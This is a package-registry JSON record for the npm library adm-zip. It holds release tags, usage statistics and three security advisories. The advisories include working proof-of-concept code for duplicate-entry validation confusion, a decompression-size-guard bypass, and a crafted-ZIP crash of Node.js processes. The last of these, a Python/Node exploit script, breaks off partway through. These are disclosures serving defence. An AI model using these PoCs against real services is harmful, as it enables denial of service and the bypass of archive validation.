s/adm-zip/tar.gz/v0.4.10","html_url":"https://github.com/cthackers/adm-zip/releases/tag/v0.4.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cthackers/adm-zip@v0.4.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.4.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.4.10/manifests"},{"name":"v0.4.9","sha":"89b6f6788d92c28ff2c6df3c90957d22b6376c7f","kind":"tag","published_at":"2020-12-05T11:46:05.000Z","download_url":"https://codeload.github.com/cthackers/adm-zip/tar.gz/v0.4.9","html_url":"https://github.com/cthackers/adm-zip/releases/tag/v0.4.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cthackers/adm-zip@v0.4.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.4.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.4.9/manifests"},{"name":"v0.4.8","sha":"18c3d310021241de17c80e5dd429dacf7776ae6e","kind":"tag","published_at":"2020-12-05T11:46:00.000Z","download_url":"https://codeload.github.com/cthackers/adm-zip/tar.gz/v0.4.8","html_url":"https://github.com/cthackers/adm-zip/releases/tag/v0.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cthackers/adm-zip@v0.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.4.8/manifests"},{"name":"v0.4.7","sha":"6708a3e5788ff9e67ddba288397f7788a5c02855","kind":"tag","published_at":"2020-12-05T11:45:56.000Z","download_url":"https://codeload.github.com/cthackers/adm-zip/tar.gz/v0.4.7","html_url":"https://github.com/cthackers/adm-zip/releases/tag/v0.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cthackers/adm-zip@v0.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.4.7/manifests"},{"name":"v0.4.6","sha":"008bcfac3ca99d45677e2cfef3a4b8b1080adebe","kind":"tag","published_at":"2020-12-05T11:45:51.000Z","download_url":"https://codeload.github.com/cthackers/adm-zip/tar.gz/v0.4.6","html_url":"https://github.com/cthackers/adm-zip/releases/tag/v0.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cthackers/adm-zip@v0.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.4.6/manifests"},{"name":"v0.4.5","sha":"a15223754b824d2fbc259977a1c75ae5de48612d","kind":"tag","published_at":"2020-12-05T11:45:41.000Z","download_url":"https://codeload.github.com/cthackers/adm-zip/tar.gz/v0.4.5","html_url":"https://github.com/cthackers/adm-zip/releases/tag/v0.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cthackers/adm-zip@v0.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.4.5/manifests"},{"name":"v0.4.4","sha":"008bcfac3ca99d45677e2cfef3a4b8b1080adebe","kind":"tag","published_at":"2020-12-05T11:45:36.000Z","download_url":"https://codeload.github.com/cthackers/adm-zip/tar.gz/v0.4.4","html_url":"https://github.com/cthackers/adm-zip/releases/tag/v0.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cthackers/adm-zip@v0.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.4.4/manifests"},{"name":"v0.4.3","sha":"13474b09ac5927ee4a83901bf67d833a523d520d","kind":"tag","published_at":"2020-12-05T11:45:32.000Z","download_url":"https://codeload.github.com/cthackers/adm-zip/tar.gz/v0.4.3","html_url":"https://github.com/cthackers/adm-zip/releases/tag/v0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cthackers/adm-zip@v0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.4.3/manifests"},{"name":"v0.2.1","sha":"8be50c01301515a5472cf62ed236e7f70f40bb38","kind":"tag","published_at":"2020-12-05T11:45:27.000Z","download_url":"https://codeload.github.com/cthackers/adm-zip/tar.gz/v0.2.1","html_url":"https://github.com/cthackers/adm-zip/releases/tag/v0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cthackers/adm-zip@v0.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.2.1/manifests"},{"name":"v0.1.9","sha":"278a36ef0236eb249600a079ae470baaa174f566","kind":"tag","published_at":"2020-12-05T11:45:18.000Z","download_url":"https://codeload.github.com/cthackers/adm-zip/tar.gz/v0.1.9","html_url":"https://github.com/cthackers/adm-zip/releases/tag/v0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cthackers/adm-zip@v0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.1.9/manifests"},{"name":"v0.1.8","sha":"8aabda7539ef06414ff5065781939b645e55ba52","kind":"tag","published_at":"2020-12-05T11:45:12.000Z","download_url":"https://codeload.github.com/cthackers/adm-zip/tar.gz/v0.1.8","html_url":"https://github.com/cthackers/adm-zip/releases/tag/v0.1.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cthackers/adm-zip@v0.1.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.1.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.1.8/manifests"},{"name":"v0.1.7","sha":"886be4a4ac731375116879622755f0c5b1587e1d","kind":"tag","published_at":"2020-12-05T11:45:07.000Z","download_url":"https://codeload.github.com/cthackers/adm-zip/tar.gz/v0.1.7","html_url":"https://github.com/cthackers/adm-zip/releases/tag/v0.1.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cthackers/adm-zip@v0.1.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.1.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.1.7/manifests"},{"name":"v0.1.5","sha":"9b86f5e51fc894ac95e1754dc37308687a25b871","kind":"tag","published_at":"2020-12-05T11:45:01.000Z","download_url":"https://codeload.github.com/cthackers/adm-zip/tar.gz/v0.1.5","html_url":"https://github.com/cthackers/adm-zip/releases/tag/v0.1.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cthackers/adm-zip@v0.1.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.1.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.1.5/manifests"},{"name":"v0.1.3","sha":"ba7a909b9cac3cda901e8969d310831485496ed6","kind":"tag","published_at":"2020-12-05T11:44:49.000Z","download_url":"https://codeload.github.com/cthackers/adm-zip/tar.gz/v0.1.3","html_url":"https://github.com/cthackers/adm-zip/releases/tag/v0.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cthackers/adm-zip@v0.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.1.3/manifests"},{"name":"v0.1.2","sha":"0f5abd4372c7e04b4b987ff042ac767bf9c37a52","kind":"tag","published_at":"2020-12-05T11:44:42.000Z","download_url":"https://codeload.github.com/cthackers/adm-zip/tar.gz/v0.1.2","html_url":"https://github.com/cthackers/adm-zip/releases/tag/v0.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cthackers/adm-zip@v0.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.1.2/manifests"},{"name":"v0.1.1","sha":"63741c39e70a85ab003b0571b0ce8c196996530d","kind":"tag","published_at":"2020-12-05T11:37:58.000Z","download_url":"https://codeload.github.com/cthackers/adm-zip/tar.gz/v0.1.1","html_url":"https://github.com/cthackers/adm-zip/releases/tag/v0.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cthackers/adm-zip@v0.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.1.1/manifests"}]},"repo_metadata_updated_at":"2026-10-21T01:06:12.538Z","dependent_packages_count":3653,"downloads":94234908,"downloads_period":"last-month","dependent_repos_count":638820,"rankings":{"downloads":0.0643374475315091,"dependent_repos_count":0.04478693017104182,"dependent_packages_count":0.02470423540391425,"stargazers_count":1.9860304236164659,"forks_count":1.8368243237565676,"docker_downloads_count":0.0558506183621372,"average":0.6687556631402726},"purl":"pkg:npm/adm-zip","advisories":[{"uuid":"GSA_kwCzR0hTQS1wNjM0LXc2cjQtcmpwMs4AB7E9","url":"https://github.com/advisories/GHSA-p634-w6r4-rjp2","title":"adm-zip: Duplicate ZIP entry names: getEntry() and extractAllTo() resolve to different content","description":"### Summary\n\nA ZIP file can contain two entries with the identical name. adm-zip keeps both in its internal entry list, but its name-lookup table only retains the last one written. `getEntry(name)` and `extractAllTo()` walk these two different internal structures, so they can each resolve a duplicate name to a *different* entry. An application that validates a named entry's contents via `getEntry()` before trusting an archive, then extracts the whole archive, can end up approving one file's content while a different file's bytes are what actually land on disk under that name.\n\n### Details\n- `zipFile.js:58-83` retains both entries in `entryList` but overwrites `entryTable[name]` with only the last one written.\n- `adm-zip.js:83-95,658-663` uses `entryTable` for `getEntry()` lookups — returns the *last* duplicate.\n- `adm-zip.js:769-914` iterates `entryList` for extraction — writes the *first* duplicate (sync, default overwrite policy).\n\n\n### PoC\n```js\nconst AdmZip = require('adm-zip');\nconst z = new AdmZip({ noSort: true });\nz.addFile('a.txt', Buffer.from('FIRST'));\nz.addFile('b.txt', Buffer.from('SECOND'));\nconst raw = Buffer.from(z.toBuffer());\n// rename the a.txt entry to b.txt directly in the raw bytes\nfor (let at = raw.indexOf('a.txt'); at \u003e= 0; at = raw.indexOf('a.txt', at + 5)) {\n raw.write('b.txt', at);\n}\nconst parsed = new AdmZip(raw, { noSort: true });\nconst validated = parsed.getEntry('b.txt').getData().toString();\nparsed.extractAllTo(outDir, false);\n// validated === \"SECOND\", but the file written to disk === \"FIRST\"\n```\n\nReproduced on the pinned commit (`2b4d84087d45344643e0183756e19191d52815cc`)\n\n### Impact\nAn application that checks a named entry's content before trusting an untrusted ZIP, then extracts it, can be made to approve different bytes than what actually gets written to disk — the classic check/use split that this kind of validate-then-extract pattern relies on.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-29T23:11:01.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.9,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N","references":["https://github.com/cthackers/adm-zip/security/advisories/GHSA-p634-w6r4-rjp2","https://github.com/cthackers/adm-zip/commit/05101d47b3b983b705cc3e66fc34366118ba7b99","https://github.com/cthackers/adm-zip/releases/tag/v0.6.1","https://github.com/advisories/GHSA-p634-w6r4-rjp2"],"source_kind":"github","identifiers":["GHSA-p634-w6r4-rjp2"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-30T00:00:10.164Z","updated_at":"2026-10-12T08:00:48.023Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wNjM0LXc2cjQtcmpwMs4AB7E9","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wNjM0LXc2cjQtcmpwMs4AB7E9","packages":[{"ecosystem":"npm","package_name":"adm-zip","versions":[{"first_patched_version":"0.6.1","vulnerable_version_range":"\u003c= 0.6.0"}],"purl":"pkg:npm/adm-zip"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wNjM0LXc2cjQtcmpwMs4AB7E9/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jNmZnLTQ0NnEtY2c5NM4AB7E8","url":"https://github.com/advisories/GHSA-c6fg-446q-cg94","title":"adm-zip: getDataAsync() bypasses the maxOutputLength size guard enforced by the synchronous getData() path","description":"### Summary\nadm-zip enforces a `maxOutputLength` guard against decompression bombs on its synchronous `getData()` path, but the equivalent asynchronous `getDataAsync()` path does not enforce it — it accumulates and returns the entire decompressed output regardless of the entry's declared size. An application that checks an entry's declared size before deciding to process it, then reads the entry via `getDataAsync()` (a completely ordinary, often-recommended choice for I/O in Node.js), gets none of the protection it believes it has.\n\n\n### Details\n\n- `methods/inflater.js:3-10` passes `{maxOutputLength: expectedLength}` to `inflateRawSync`, which Node enforces.\n- `methods/inflater.js:12-31` passes the same option to `createInflateRaw` but never enforces it on the streaming path — it just accumulates every chunk and allocates a final Buffer of whatever size resulted.\n\n\n### PoC\n\n```js\nconst AdmZip = require('adm-zip');\nconst zip = new AdmZip();\nzip.addFile('p', Buffer.alloc(64 * 1024 * 1024, 0x41)); // 64 MiB\nconst raw = Buffer.from(zip.toBuffer());\n// patch the local + central declared uncompressed size to 1 byte\nraw.writeUInt32LE(1, localHeaderSizeOffset);\nraw.writeUInt32LE(1, centralHeaderSizeOffset);\nconst entry = new AdmZip(raw).getEntry('p');\n\nentry.getData();\n// throws: ERR_BUFFER_TOO_LARGE: Cannot create a Buffer larger than 1 bytes\n\nentry.getDataAsync((data, error) =\u003e { ... });\n// returns the full 67,108,864-byte buffer, error is undefined\n```\n\n### Impact\nAn application that validates a declared size before reading an entry, then uses the async API, gets no protection against a high-ratio DEFLATE payload. Repeated or larger requests could contribute to memory exhaustion.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-29T23:10:32.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","references":["https://github.com/cthackers/adm-zip/security/advisories/GHSA-c6fg-446q-cg94","https://github.com/cthackers/adm-zip/commit/491600683dacb6cb9fe0718a0eeb9cb5eb49afa6","https://github.com/cthackers/adm-zip/releases/tag/v0.6.1","https://github.com/advisories/GHSA-c6fg-446q-cg94"],"source_kind":"github","identifiers":["GHSA-c6fg-446q-cg94"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-30T00:00:10.164Z","updated_at":"2026-10-12T08:00:48.024Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jNmZnLTQ0NnEtY2c5NM4AB7E8","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jNmZnLTQ0NnEtY2c5NM4AB7E8","packages":[{"ecosystem":"npm","package_name":"adm-zip","versions":[{"first_patched_version":"0.6.1","vulnerable_version_range":"\u003c= 0.6.0"}],"purl":"pkg:npm/adm-zip"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jNmZnLTQ0NnEtY2c5NM4AB7E8/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04MjM4LXc1cG0tMjM3NM4AB7E7","url":"https://github.com/advisories/GHSA-8238-w5pm-2374","title":"adm-zip: Unhandled error event in async DEFLATE decompression crashes Node.js process (DoS)","description":"## Summary\n\nDenial of Service in `adm-zip`'s async decompression API allows an unauthenticated attacker to crash the entire Node.js host process by supplying a single malformed ZIP file.\n\n## Details\n\n**Affected package**: adm-zip\n**Affected versions**: at least 0.6.0 (current latest); likely all versions containing the current `inflateAsync` implementation in `methods/inflater.js`\n**Patched version**: 0.6.1\n\n### Root Cause\n\n`methods/inflater.js:12-32` (`inflateAsync`) creates a `zlib.createInflateRaw(option)` stream and feeds it attacker-controlled compressed bytes via `tmp.end(inbuf)`, but never registers an `\"error\"` listener on the stream:\n\n```js\ninflateAsync: function (/*Function*/ callback) {\n var tmp = zlib.createInflateRaw(option),\n parts = [],\n total = 0;\n tmp.on(\"data\", function (data) { parts.push(data); total += data.length; });\n tmp.on(\"end\", function () { /* build buf, callback(buf) */ });\n tmp.end(inbuf); // no tmp.on(\"error\", ...) registered anywhere\n}\n```\n\nPer Node.js `EventEmitter`/stream semantics, an `\"error\"` event emitted with zero listeners is rethrown as an **uncaught exception on a later tick**, originating from the zlib C++ binding. This cannot be caught by a `try/catch` wrapped around the calling code, because the throw happens asynchronously, outside the synchronous call stack the `try/catch` covers.\n\nThis code path is reached from every public async API that decompresses entry data: `readFileAsync`, `readAsTextAsync`, `extractAllToAsync`, and `ZipEntry.getDataAsync` (`zipEntry.js:51`, `:97-120`, `:309-315`; `adm-zip.js:157-164`, `:192-210`, `:893`).\n\nThis library recently patched **CVE-2026-39244** (GHSA-xcpc-8h2w-3j85), an unbounded `Buffer.alloc()` on the *synchronous* decompression path. That fix added a `maxOutputLength` option to `zlib.inflateRawSync`/`zlib.createInflateRaw`, and the sync path's resulting throw is naturally catchable. The async path shares the same `maxOutputLength` option (`methods/inflater.js:5`) but has no error-handling on the stream at all, so it was not covered by that fix and remains exploitable via either of two independent triggers:\n\n1. A DEFLATE entry with corrupted/malformed compressed bytes (`Z_DATA_ERROR`) — no special crafting needed.\n2. Compressed data whose inflated size exceeds the declared central-directory size, which now trips the `maxOutputLength` guard — but on the stream this surfaces via the unhandled `\"error\"` event rather than a catchable throw.\n\n### Attack Vector\n\n1. Attacker crafts (or corrupts) a ZIP file containing one DEFLATE-compressed entry with invalid/corrupted compressed bytes. Headers, CRC, and offsets can remain fully valid — only the compressed payload bytes need to be malformed.\n2. Victim application accepts this ZIP as an untrusted upload and processes it via any of adm-zip's async APIs, e.g.:\n ```js\n const zip = new AdmZip(uploadedBuffer);\n zip.readFileAsync(zip.getEntries()[0], (data) =\u003e { /* ... */ });\n ```\n3. `inflateAsync` begins decompressing; zlib emits `\"error\"` on `Z_DATA_ERROR`.\n4. No listener exists for that event, so Node rethrows it as an uncaught exception, crashing the entire host process — killing all in-flight requests for every other user/tenant on that process, not just the attacker's own request.\n\n## Impact\n\nAny Node.js service that accepts untrusted ZIP uploads and processes them via adm-zip's async API (the documented, recommended pattern for non-blocking servers) can be crashed by a single unauthenticated request containing one small malicious file. This is a full process-level denial of service, not a per-request error.\n\n## Proof of Concept\n\nAttached: `poc_async_dos.py`. Summary of what it does:\n\n1. Builds a fully valid ZIP using adm-zip's own writer (`new AdmZip(); zip.addFile(...); zip.toBuffer()`), guaranteeing correct headers/CRC/offsets.\n2. Locates the local file header's compressed-data region via its own (untouched) size/offset fields and XORs every byte in that region with `0xFF`, corrupting only the DEFLATE payload.\n3. Parses the corrupted archive with a fresh `new AdmZip(badBuf)` (succeeds — headers are intact) and calls `entries[0].getDataAsync(callback)`, wrapped in `try/catch`, in an isolated child process.\n4. Captures the child's exit code and stderr.\n\nVerified independently 3/3 runs (plus 2 isolating controls: an unmodified zip through the same path does not crash; bare Node `zlib.createInflateRaw()` fed garbage with no error listener reproduces the identical crash outside adm-zip entirely, confirming the root cause is the missing listener, not something else). Representative output:\n\n```\n[*] Child process exit code: 1\n----- Node child process stderr (crash evidence) -----\nnode:events:497\n throw er; // Unhandled 'error' event\n ^\nError: invalid distance too far back\n at genericNodeError (node:internal/errors:983:15)\n at Zlib.zlibOnError [as onerror] (node:zlib:191:17)\nEmitted 'error' event on InflateRaw instance at:\n at emitErrorNT (node:internal/streams/destroy:170:8)\n at emitErrorCloseNT (node:internal/streams/destroy:129:3)\n at process.processTicksAndRejections (node:internal/process/task_queues:89:21) {\n errno: -3,\n code: 'Z_DATA_ERROR'\n}\nNode.js v22.22.1\n--------------------------------------\n[*] Caught by harness's own try/catch (would mean NOT vulnerable): False\n[*] getDataAsync callback ever fired (would mean NOT vulnerable): False\n[*] Child process exited non-zero (crashed): True\n[+] VULNERABILITY CONFIRMED\n```\n\nReproduction: `python3 poc_async_dos.py` (requires python3 and Node.js; tested on Node.js v22.22.1).\n\n## Suggested Fix\n\nRegister an `\"error\"` listener on the `InflateRaw` stream in `methods/inflater.js`'s `inflateAsync`, and route it to the existing `callback`, e.g.:\n\n```js\ninflateAsync: function (/*Function*/ callback) {\n var tmp = zlib.createInflateRaw(option),\n parts = [],\n total = 0;\n tmp.on(\"data\", function (data) { parts.push(data); total += data.length; });\n tmp.on(\"error\", function (err) {\n // surface as a normal async error instead of crashing the process\n callback(Buffer.alloc(0), err); // or however this codebase's async\n // error convention is expressed\n });\n tmp.on(\"end\", function () { /* existing behavior */ });\n tmp.end(inbuf);\n}\n```\n\nThe exact callback/error-propagation convention should match the rest of the codebase's async error handling style (a quick look suggests callbacks here are currently success-only; this may need a small signature adjustment or an `err`-first convention, at the maintainer's discretion). The key fix is simply: **never leave a Node.js stream without an `\"error\"` listener when it can plausibly error on attacker-controlled input.**\n\n## Full PoC Source (`poc_async_dos.py`)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nTested version: adm-zip 0.6.0\nTested on: Linux, Node.js v22.22.1\n\nDescription:\n methods/inflater.js:12-32 (inflateAsync) creates a\n zlib.createInflateRaw(option) stream and calls tmp.end(inbuf) without ever\n registering an \"error\" listener on the stream. Per Node.js EventEmitter\n semantics, an \"error\" event emitted with zero listeners is rethrown as an\n uncaught exception -- this happens on a later tick from the zlib C++\n binding, so it CANNOT be caught by a try/catch wrapped around the calling\n code. Any code that feeds an untrusted zip file into one of adm-zip's\n public *Async APIs (readFileAsync, readAsTextAsync, extractAllToAsync,\n ZipEntry.getDataAsync) crashes the entire host Node.js process the moment\n it encounters a DEFLATE entry with corrupted/malformed compressed bytes.\n The synchronous decompression path (getData()) was hardened for\n CVE-2026-39244 (maxOutputLength + a throw that is naturally catchable);\n this async streaming path was missed by that fix and remains an\n unauthenticated, single-request availability bug.\n\nImpact:\n Any service that accepts untrusted zip uploads and reads/extracts them\n via adm-zip's async API (the officially documented, recommended usage\n for non-blocking servers) can be crashed by a single malicious zip file,\n with no authentication and no special privileges required.\n\nReproduction:\n 1. Install: this PoC runs directly against the adm-zip source tree this\n script lives alongside (no `npm install` needed -- it requires the\n local checkout via its package.json \"main\" entry, adm-zip.js).\n Requires: python3, node (tested with Node.js v22.22.1).\n 2. Run: python3 poc_async_dos.py\n 3. Observe: the spawned Node child process exits non-zero with an\n \"Unhandled 'error' event\" / Z_DATA_ERROR stack trace on stderr,\n originating from methods/inflater.js's zlib.createInflateRaw stream.\n Neither the harness's try/catch nor the getDataAsync callback ever\n fires -- proving the crash is unrecoverable from calling code.\n\nHow the malicious zip is built (see the embedded Node harness in\nbuild_harness_script() below):\n 1. Use adm-zip's own writer (`new AdmZip(); zip.addFile(...); zip.toBuffer()`)\n to produce a fully valid, well-formed zip archive with one DEFLATE\n entry. This guarantees every header/CRC/offset field is structurally\n correct.\n 2. Locate the local file header at offset 0 and compute the compressed\n data region from the (untouched) LOCSIZ/LOCNAM/LOCEXT fields.\n 3. XOR every byte in that region with 0xFF, corrupting ONLY the DEFLATE\n payload while leaving every size/offset/CRC field in the local header,\n central directory, and EOCD record byte-for-byte unchanged, so\n adm-zip's own parser still locates and slices exactly the right\n region and reaches the vulnerable inflateAsync() call.\n\"\"\"\n\nimport os\nimport subprocess\nimport sys\nimport tempfile\n\n# ============================================================\n# Configuration\n# ============================================================\nPACKAGE_NAME = \"adm-zip\"\nTARGET_VERSION = \"0.6.0\"\n# The adm-zip source tree this PoC lives alongside (Hunter's checkout).\nREPO_DIR = os.path.dirname(os.path.abspath(__file__))\nNODE_BIN = \"node\"\nSUBPROCESS_TIMEOUT_SECONDS = 20\n\n\n# ============================================================\n# Node.js harness (the genuine trigger -- adm-zip is a JS library, so the\n# actual exploit code must run under Node; this Python script builds it,\n# runs it in an isolated child process, and interprets the result).\n# ============================================================\ndef build_harness_script(repo_dir: str) -\u003e str:\n return r\"\"\"\n\"use strict\";\nconst AdmZip = require(%(repo_dir)r);\n\nconsole.log(\"HARNESS_START\");\n\n// Step 1: build a legitimate zip in memory using adm-zip's OWN writer, with\n// one DEFLATE-compressed entry. Repetitive text compresses well and\n// guarantees the DEFLATED method is chosen (not STORED).\nconst zip = new AdmZip();\nconst payload = Buffer.from(\n \"The quick brown fox jumps over the lazy dog. \".repeat(200),\n \"utf8\"\n);\nzip.addFile(\"payload.txt\", payload, \"\");\nconst goodBuf = zip.toBuffer();\nconsole.log(\"BUILT_GOOD_ZIP bytes=\" + goodBuf.length);\n\n// Step 2: locate the local file header (offset 0 in this single-entry\n// archive) and corrupt ONLY the compressed-data bytes in place, leaving\n// every size/offset/CRC field in the local header, central directory, and\n// EOCD record untouched -- so adm-zip's own parser still finds and slices\n// exactly the right region and reaches the vulnerable inflateAsync() path.\nconst LOCSIG = 0x04034b50;\nif (goodBuf.readUInt32LE(0) !== LOCSIG) {\n throw new Error(\"unexpected local header signature -- adm-zip writer output changed\");\n}\nconst compressedSize = goodBuf.readUInt32LE(18); // LOCSIZ\nconst fileNameLen = goodBuf.readUInt16LE(26); // LOCNAM\nconst extraLen = goodBuf.readUInt16LE(28); // LOCEXT\nconst dataStart = 30 + fileNameLen + extraLen;\nconst dataEnd = dataStart + compressedSize;\nconsole.log(\n \"LOCAL_HEADER compressedSize=\" + compressedSize +\n \" dataStart=\" + dataStart + \" dataEnd=\" + dataEnd\n);\n\nconst badBuf = Buffer.from(goodBuf); // copy, do not mutate original\nfor (let i = dataStart; i \u003c dataEnd; i++) {\n badBuf[i] = badBuf[i] ^ 0xff; // corrupt every byte of the DEFLATE stream\n}\nconsole.log(\"CORRUPTED_COMPRESSED_BYTES count=\" + (dataEnd - dataStart));\n\n// Step 3: parse the corrupted archive (this succeeds -- headers are intact)\n// and hit the vulnerable async decompression path.\nconst zip2 = new AdmZip(badBuf);\nconst entries = zip2.getEntries();\nconsole.log(\n \"PARSED_CORRUPT_ZIP entries=\" + entries.length +\n \" name=\" + entries[0].entryName\n);\n\ntry {\n // This is the public, documented API a real server would call on an\n // untrusted upload (readFileAsync / getDataAsync / extractAllToAsync\n // all funnel into the same decompress(true, ...) -\u003e inflateAsync path).\n entries[0].getDataAsync(function (data, err) {\n // If this ever fires, the library handled the error gracefully\n // (no crash) -- meaning the vulnerability is NOT present / already\n // fixed in this build.\n console.log(\n \"CALLBACK_FIRED data_len=\" + (data ? data.length : 0) +\n \" err=\" + err\n );\n });\n console.log(\"SYNC_CALL_RETURNED_NO_THROW\");\n} catch (e) {\n // If this ever fires, the bug is NOT present -- the error would be\n // synchronously catchable by ordinary calling code.\n console.log(\"CAUGHT_BY_TRY_CATCH: \" + e.message);\n}\n\nconsole.log(\"HARNESS_END_OF_SYNCHRONOUS_CODE\");\n// Deliberately NOT registering process.on(\"uncaughtException\", ...) here --\n// doing so would mask the exact bug under test. A real, unmodified server\n// process has no reason to install a blanket uncaughtException handler\n// either; that is precisely what makes this an unrecoverable process crash.\n\"\"\" % {\"repo_dir\": repo_dir}\n\n\n# ============================================================\n# Step 1: Setup\n# ============================================================\ndef setup():\n \"\"\"Verify prerequisites and write out the Node.js harness script.\"\"\"\n print(f\"[*] Setting up PoC for {PACKAGE_NAME}@{TARGET_VERSION}\")\n print(f\"[*] Target adm-zip source tree: {REPO_DIR}\")\n\n main_entry = os.path.join(REPO_DIR, \"adm-zip.js\")\n if not os.path.isfile(main_entry):\n print(f\"[-] Cannot find adm-zip.js at {main_entry}\")\n sys.exit(1)\n\n try:\n node_version = subprocess.run(\n [NODE_BIN, \"--version\"], capture_output=True, text=True, timeout=10\n )\n print(f\"[*] Found Node.js: {node_version.stdout.strip()}\")\n except FileNotFoundError:\n print(\"[-] node binary not found on PATH -- required to run this PoC\")\n sys.exit(1)\n\n handle, harness_path = tempfile.mkstemp(prefix=\"admzip_async_dos_\", suffix=\".js\")\n with os.fdopen(handle, \"w\") as f:\n 